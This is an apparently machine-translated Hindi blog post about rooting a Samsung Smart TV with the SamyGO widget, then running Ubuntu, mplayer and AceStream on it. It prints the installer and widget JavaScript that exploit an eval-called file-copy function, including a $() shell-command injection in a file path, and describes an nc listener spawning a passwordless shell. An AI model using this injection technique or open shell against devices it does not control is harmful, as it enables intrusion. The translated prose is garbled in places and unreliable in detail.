Ubuntu लॉन्च करें और टोरेंट और टोरेंट-टीवी को सीधे सैमसंग स्मार्टटीवी पर देखें

छवि
कल के लेख हाउ स्मार्टटीवी विथ द एसेंशियल में जागरण की टिप्पणी पढ़ने के बाद, मैं तुरंत अपने टीवी पर रूट-राइट और टेलनेट / एसएचएस प्राप्त करने की कोशिश में जुट गया। यह पता चला है कि सब कुछ इसके लिए तैयार है, और यह नाशपाती के गोले जितना आसान है!

बस SamyGo विजेट स्थापित करें और यह आपके लिए सब कुछ करेगा!

हमें SamyGO क्या देता है?



# - * - अस्वीकरण - * -
सब कुछ जो आप अपने टीवी के साथ करते हैं, आप अपने जोखिम और जोखिम पर करते हैं। इस लेख का लेखक आपके गुदा के लिए कोई ज़िम्मेदारी नहीं उठाता है।

मेरे टीवी (ई-सीरीज़) के लिए, मुझे ज़रूरत थी:
  1. टीवी पर Skype स्थापित करें और इसे 1 बार चलाएं
  2. SamyGo विजेट के इंस्टॉलर को USB फ्लैश ड्राइव पर डाउनलोड करें
  3. इसे फ्लैश ड्राइव से चलाएं
  4. ???
  5. लाभ!

उन्होंने यह कैसे किया, राक्षसों?

यहां इंस्टॉलर स्क्रिप्ट है :
छिपा हुआ पाठ
var Main = { } var widgetAPI = new Common.API.Widget(); var tvKey = new Common.API.TVKeyValue(); var runf1=1; var runf2=1; var LabelString="Log: "; var usbPlugin; var FilePlugin; var nUSBCount; var commonFilePath; Main.onLoad = function() { alert("Main.onLoad()"); this.enableKeys(); widgetAPI.sendReadyEvent(); Func(); }; Main.onUnload = function() { }; Main.enableKeys = function() { document.getElementById("anchor").focus(); }; Main.keyDown = function() { var keyCode = event.keyCode; switch(keyCode) { case tvKey.KEY_RETURN: case tvKey.KEY_PANEL_RETURN: widgetAPI.sendReturnEvent(); break; case tvKey.KEY_RED: if(runf2==1) { runf2=0; Log (" Please Wait 20-30 sec...."); setTimeout("Func1(commonFilePath);",3000); } else Log('Activated yet!'); break; case tvKey.KEY_ENTER: case tvKey.KEY_PANEL_ENTER: if(runf1==1) { runf1=0; Log (" Please Wait 20-30 sec...."); setTimeout("Func1(commonFilePath);",3000); } else Log('Activated yet!'); break; default: alert("Unhandled key"); break; } }; function Log(Str) { var Label = document.getElementById("LogLabel"); LabelString = LabelString+Str+" "; widgetAPI.putInnerHTML(Label,LabelString); }; function sleep(ms) { ms += new Date().getTime(); while (new Date() < ms){} }; function Func() { usbPlugin = document.getElementById("pluginStorage"); FilePlugin = document.getElementById("pluginObjectFile"); nUSBCount = eval("usbPlugin.GetUSBListSize()"); var Param; var r1=0; var r2=0; var r3=0; Log("Found <b style='font-size:30px; color:green'>" + nUSBCount + "</b> USB devices"); for (var i = 0; i < nUSBCount; i++) { var nid1 = eval("usbPlugin.GetUSBDeviceID("+i+")"); var nid = parseInt(nid1); var VN = " Vendor Name = <b style='color:green'>" + eval("usbPlugin.GetUSBVendorName("+nid+")") + "</b>"; var MN = " Model Name = <b style='color:green'>" + eval("usbPlugin.GetUSBModelName("+nid+")") + "</b>"; nPartition = eval("usbPlugin.GetUSBPartitionNum("+nid+")"); for (var j = 0; j < nPartition; j++) { var mntPath = eval("usbPlugin.GetUSBMountPath("+nid+", "+j+")"); commonFilePath = '/dtv/usb/' + mntPath; Param = "FilePlugin.IsExistedPath(commonFilePath + '/InstallSamygo/data/SamyGO.zip')"; r1 = eval(Param); Param = "FilePlugin.IsExistedPath(commonFilePath + '/InstallSamygo/data/AutoStart')"; r2 = eval(Param); Param = "FilePlugin.IsExistedPath(commonFilePath + '/InstallSamygo/data/libSkype.so')"; r3 = eval(Param); if (r1 == 1 && r2 == 1 && r3 == 1) { Log("The installation files found on USB: " + commonFilePath + VN + MN); return; } else { Log("Some installation files not found on USB: " + commonFilePath + VN + MN); return; } } Log("The installation files not found on USB: error"); } }; function Func1(Path) { var r=0; var Param; var str =''; Param="FilePlugin.Copy ('"+ Path +"/InstallSamygo/data/AutoStart','/mtd_rwcommon/moip/engines/Skype/AutoStart')"; r = eval(Param); if (r==1) str = 'OK'; else str = 'No'; Log("Step1: " + str) Param="FilePlugin.Copy ('"+ Path +"/InstallSamygo/data/libSkype.so','/mtd_rwcommon/moip/engines/Skype/libSkype.so')"; r = eval(Param); if (r==1) str = 'OK'; else str = 'No'; Log("Step2: " + str); if(runf2==1) { Param="FilePlugin.Unzip('"+ Path +"/InstallSamygo/data/SamyGO.zip','/mtd_rwcommon/widgets/user/SamyGO/')"; r = eval(Param); if (r==1) str = 'OK'; else str = 'No'; Log("Step3: " + str); } Log("Now press exit and restart tv"); }; 

FilePlugin.Copy फ़ंक्शन में भेद्यता को eval के माध्यम से बुलाया जाता है, जो आपको कहीं भी कुछ भी कॉपी करने की अनुमति देता है। स्क्रिप्ट प्रतिस्थापित libSkype.so को लेता है और कॉपी करता है, जो केवल दूसरी स्क्रिप्ट को चला सकता है, और स्वयं SamyGo विजेट को स्थापित करता है।

SamyGo में क्या देखें?
छिपा हुआ पाठ
 var Main = { } var widgetAPI = new Common.API.Widget(); var tvKey = new Common.API.TVKeyValue(); Main.onLoad = function() { alert("Main.onLoad()"); widgetAPI.sendReadyEvent(); document.getElementById("anchor").focus(); var FilePlugin = document.getElementById("pluginObjectFile"); var Param1="FilePlugin.Copy (\"/proc/self/cmdline\", \"$(sh /mtd_rwcommon/widgets/user/SamyGO/data/run.sh)/tmp/cmdline\")"; eval(Param1); } Main.keyDown = function() { var keyCode = event.keyCode; alert("Main Key code : " + keyCode); switch (keyCode) { case tvKey.KEY_RETURN: break; } } 

खैर, यह आम तौर पर एक बंदूक है! हम $ () सिंटैक्स का उपयोग करके एक ही फ़ंक्शन से शेल कमांड निष्पादित कर सकते हैं।
run.sh इंस्‍टॉल बॉक्‍स और अन्‍य टिनसेल को इंस्‍टॉल करता है, data.xfs को एमाउंट करता है, टेलनेट और nc को शुरू करता है, जो कनेक्‍ट करते समय sh लॉन्च करता है (यदि / dev / pts के साथ कोई समस्‍या है और आप टेलनेट से कनेक्‍ट नहीं कर सकते हैं), समान स्क्रिप्ट चलाता है ।

अंदर क्या है?

अंदर, हमारे पास ARMv7 आर्किटेक्चर के साथ 2-कोर प्रोसेसर है, NEON के लिए समर्थन के साथ, मेरा मानना ​​है कि, कोर्टेक्स-ए 8 परिवार, MALI 400 वीडियो, 512MB RAM, कर्नेल 2.6.35.13। सामान्य तौर पर, 2012 के बजाय एक विशिष्ट "टैबलेट"।
cat / proc / cpuinfo
 VDLinux#> cat /proc/cpuinfo Processor : ARMv7 Processor rev 0 (v7l) processor : 0 BogoMIPS : 1794.04 processor : 1 BogoMIPS : 1794.04 Features : swp half thumb fastmult vfp edsp neon vfpv3 CPU implementer : 0x41 CPU architecture: 7 CPU variant : 0x3 CPU part : 0xc09 CPU revision : 0 Hardware : amber3 Revision : 0000 Serial : 0000000000000000 

कर्नेल स्क्वैश, एफएटी 32, एक्सएफएस, आरएफएस (सैमसंग एफएस, एफएटी 32 + जर्नलिंग), एनटीएफएस (टक्सरा टेंफ्ट्स ड्राइवर) का समर्थन करता है। मॉड्यूल के लिए समर्थन है, कई FS मॉड्यूल SamyGo में दिए गए हैं, FUSE लोड किया गया है, और, उदाहरण के लिए, ext2 / 3/4 - नहीं, क्योंकि उनके लिए कर्नेल में कोई वर्ण नहीं हैं।

Xf86-video-mali के साथ सबसे सामान्य एक्स-सर्वर टीवी पर लॉन्च किया गया है, 125-मेगाबाइट exeDSP फ़ाइल पूरे स्मार्टटीवी के लिए ज़िम्मेदार है ( विश्लेषण शुरू होने से 17 मिनट पहले इसे IDA PRO में लोड किया गया था), लेकिन ध्वनि के साथ यह अधिक दिलचस्प है: alsa नहीं है, और ऐसा लगता है कि exeDSP सीधे / देव / प्रणाली से संवाद करता है।

क्या किया जा सकता है?

हाँ, कुछ भी। मैं एक आलसी व्यक्ति हूं, और मैं फिर से कुछ भी क्रॉस-कंपाइल नहीं करने की कोशिश करता हूं, इसलिए मैंने उबंटू कोर लिया, एक यूएसबी फ्लैश ड्राइव पर एक एक्सएफएस विभाजन बनाया, उबंटू को अनपैक किया और इसे टीवी में डाला। आर्महफ संस्करण के साथ समस्याएं थीं (सभी प्रकार के अज्ञात निर्देश, क्या वे थंब 2 के साथ संकलित करते हैं?), इसलिए मैंने 12.04 सेकंड का पाया।
यह केवल टीवी में USB फ्लैश ड्राइव डालने, टेलनेट से कनेक्ट करने और करने के लिए बना हुआ है:
 chroot /dtv/usb/sda1 /bin/bash 

और हमें एक पूर्ण ubuntu 12.04 मिलता है।
माउंट - बिंद काम नहीं करता है, इसलिए यदि आपको चुरोट में खरीद और सीज़ की आवश्यकता है (और आपको इसकी आवश्यकता होगी), उपयोग करें:
 mount -t sysfs sysfs ./sys mount -t proc proc ./proc 


सबसे पहले, निश्चित रूप से, मैंने mplayer स्थापित किया। और आप जानते हैं, यह काम करता है! धीरे-धीरे, निश्चित रूप से, और निष्कर्ष से, केवल x11 काम करता है, लेकिन यह दिखाता है! मैं उपशीर्षक के साथ और ध्वनि के बिना कल खुला देखा;)


स्क्रीनशॉट, यहाँ, scrot'om लिया:
छवि
छवि

कृपया ध्यान दें कि मैंने स्क्रीनशॉट का रिज़ॉल्यूशन नहीं बदला है, और वास्तव में, टीवी पर रिज़ॉल्यूशन (कम से कम एक्स-सर्वर पर) 1280 × 720 है!

खैर, फिर मैंने टीवी पर सीधे टीवी स्ट्रीम और टोरेंट देखने के लिए ऐस स्ट्रीम इंजन और ऐसप्रॉक्सी लगाने का फैसला किया। इसके लिए हमें अजगर की जरूरत है, क्योंकि यह इस पर है कि ये दो उत्पाद लिखे गए हैं। क्योंकि ऐस स्ट्रीम आधिकारिक तौर पर एआरएम के लिए जारी नहीं किया गया है, और वास्तव में, इसके डेवलपर्स कुछ हद तक जंगली हैं , फिर हम रास्पबेरी पीआई के लिए अनपैक्ड संस्करण लेंगे, खैर, मेरी रिपॉजिटरी से AceProxy

वास्तव में, ऐस स्ट्रीम के लिए आवश्यक पैकेज लिंक में लिखे गए हैं, और ऐसप्रॉक्सी के लिए केवल पायथन-जीवेंट की आवश्यकता है। हम यह पूरी बात शुरू करते हैं, आप ऐसप्रॉक्सी आँकड़े पृष्ठ को अंतर्निहित टीवी ब्राउज़र में भी खोल सकते हैं:
छवि

आश्चर्यजनक रूप से, ऐस स्ट्रीम वास्तव में प्रोसेसर को लोड नहीं करता है (शीर्ष द्वारा लगभग 15% जज), इसलिए इसका उपयोग टीवी पर किया जा सकता है।
अब यह केवल कुछ खिलाड़ी (nStreamLmod, उदाहरण के लिए) लेने और AceProxy के लिए एक प्लेलिस्ट बनाने के लिए बनी हुई है।

कुछ और?

यह सब प्रमाण-अवधारणा है। मैंने यह सब विशुद्ध रूप से अल्पकालिक ब्याज से किया था और, सबसे अधिक संभावना है, मैं आगे भी जारी नहीं रखूंगा। हालाँकि, अगर कोई मुझे यह संकेत देता है कि ध्वनि कैसे काम करती है, तो आप उन्हें MKV में FLAC और Vorbis से केवल एक साथ चलाकर वीडियो देख सकते हैं।
SamyGo से सावधान रहें। डिफ़ॉल्ट रूप से, यह कई सेवाएं शुरू करता है, और टेलनेट का उपयोग पासवर्ड के बिना किया जाता है।
सौभाग्य!

Source: https://habr.com/ru/post/In205762/


All Articles